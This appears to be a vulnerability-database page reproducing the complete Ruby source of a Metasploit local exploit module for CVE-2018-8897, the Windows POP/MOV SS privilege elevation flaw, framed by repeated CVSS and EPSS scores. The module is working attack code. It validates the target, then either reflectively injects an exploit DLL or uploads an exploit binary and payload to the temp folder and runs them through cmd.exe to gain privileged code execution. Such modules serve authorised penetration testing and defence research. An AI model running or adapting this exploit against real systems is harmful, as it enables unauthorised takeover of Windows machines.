7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.2 High
CVSS2
Access Vector
LOCAL
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
0.001 Low
EPSS
Percentile
30.0%
This module exploits a vulnerability in a statement in the system programming guide of the Intel 64 and IA-32 architectures software developer’s manual being mishandled in various operating system kerneles, resulting in unexpected behavior for #DB excpetions that are deferred by MOV SS or POP SS. This module will upload the pre-compiled exploit and use it to execute the final payload in order to gain remote code execution.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Exploit::EXE
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability',
'Description' => %q{
This module exploits a vulnerability in a statement in the system programming guide
of the Intel 64 and IA-32 architectures software developer's manual being mishandled
in various operating system kerneles, resulting in unexpected behavior for #DB
excpetions that are deferred by MOV SS or POP SS.
This module will upload the pre-compiled exploit and use it to execute the final
payload in order to gain remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'Nick Peterson', # Original discovery (@nickeverdox)
'Nemanja Mulasmajic', # Original discovery (@0xNemi)
'Can Bölük <can1357>', # PoC
'bwatters-r7' # msf module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [
['Windows x64', { 'Arch' => ARCH_X64 }]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2018-05-08',
'References' => [
['CVE', '2018-8897'],
['EDB', '44697'],
['BID', '104071'],
['URL', 'https://github.com/can1357/CVE-2018-8897/'],
['URL', 'https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/']
],
'DefaultOptions' => {
'DisablePayloadHandler' => false
},
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_config_getenv
]
}
}
)
)
register_options([
OptBool.new('USE_INJECTION',
[true, 'Use in-memory dll injection rather than exe file uploads.', true]),
OptString.new('EXPLOIT_NAME',
[false, 'The filename to use for the exploit binary if USE_INJECTION=false (%RAND% by default).', nil]),
OptString.new('PAYLOAD_NAME',
[false, 'The filename for the payload to be used on the target host if USE_INJECTION=false (%RAND%.exe by default).', nil]),
OptString.new('PATH',
[false, 'Path to write binaries if if USE_INJECTION=false(%TEMP% by default).', nil]),
OptInt.new('EXECUTE_DELAY',
[false, 'The number of seconds to delay before executing the exploit if USE_INJECTION=false', 3])
])
end
def setup
super
@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))
@payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))
@exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)
@payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i)
@temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
@payload_path = "#{temp_path}\\#{payload_name}"
@exploit_path = "#{temp_path}\\#{exploit_name}"
@payload_exe = generate_payload_exe
end
def validate_active_host
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog(e)
raise Msf::Exploit::Failed, 'Could not connect to session'
end
def validate_remote_path(path)
unless directory?(path)
fail_with(Failure::Unreachable, "#{path} does not exist on the target")
end
end
def validate_target
if sysinfo['Architecture'] != ARCH_X64
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
end
version = get_version_info
if version.build_number.between?(Msf::WindowsVersion::XP_SP0, Msf::WindowsVersion::XP_SP3)
fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
end
end
def ensure_clean_destination(path)
if file?(path)
print_status("#{path} already exists on the target. Deleting...")
begin
file_rm(path)
print_status("Deleted #{path}")
rescue Rex::Post::Meterpreter::RequestError => e
elog(e)
print_error("Unable to delete #{path}")
end
end
end
def ensure_clean_exploit_destination
ensure_clean_destination(exploit_path)
end
def ensure_clean_payload_destination
ensure_clean_destination(payload_path)
end
def upload_exploit
local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'cve-2018-8897-exe.exe')
upload_file(exploit_path, local_exploit_path)
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
end
def upload_payload
write_file(payload_path, payload_exe)
print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
end
def execute_exploit
sleep(datastore['EXECUTE_DELAY'])
print_status("Running exploit #{exploit_path} with payload #{payload_path}")
output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}")
vprint_status(output)
end
def exploit_dll
print_status('Checking target...')
validate_active_host
validate_target
print_status('Target looks good... reflectively injecting exploit DLL and triggering exploit!')
encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'reflective_dll.x64.dll'),
encoded_payload
)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
rescue Rex::Post::Meterpreter::RequestError => e
elog(e)
print_error(e.message)
end
def exploit_exe
validate_remote_path(temp_path)
ensure_clean_exploit_destination
ensure_clean_payload_destination
upload_exploit
upload_payload
execute_exploit
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
rescue Rex::Post::Meterpreter::RequestError => e
elog(e)
print_error(e.message)
ensure_clean_exploit_destination
ensure_clean_payload_destination
end
def exploit
validate_active_host
validate_target
if datastore['USE_INJECTION']
exploit_dll
else
exploit_exe
end
end
attr_reader :exploit_name, :payload_name, :payload_exe, :temp_path, :payload_path, :exploit_path
end
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.2 High
CVSS2
Access Vector
LOCAL
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
0.001 Low
EPSS
Percentile
30.0%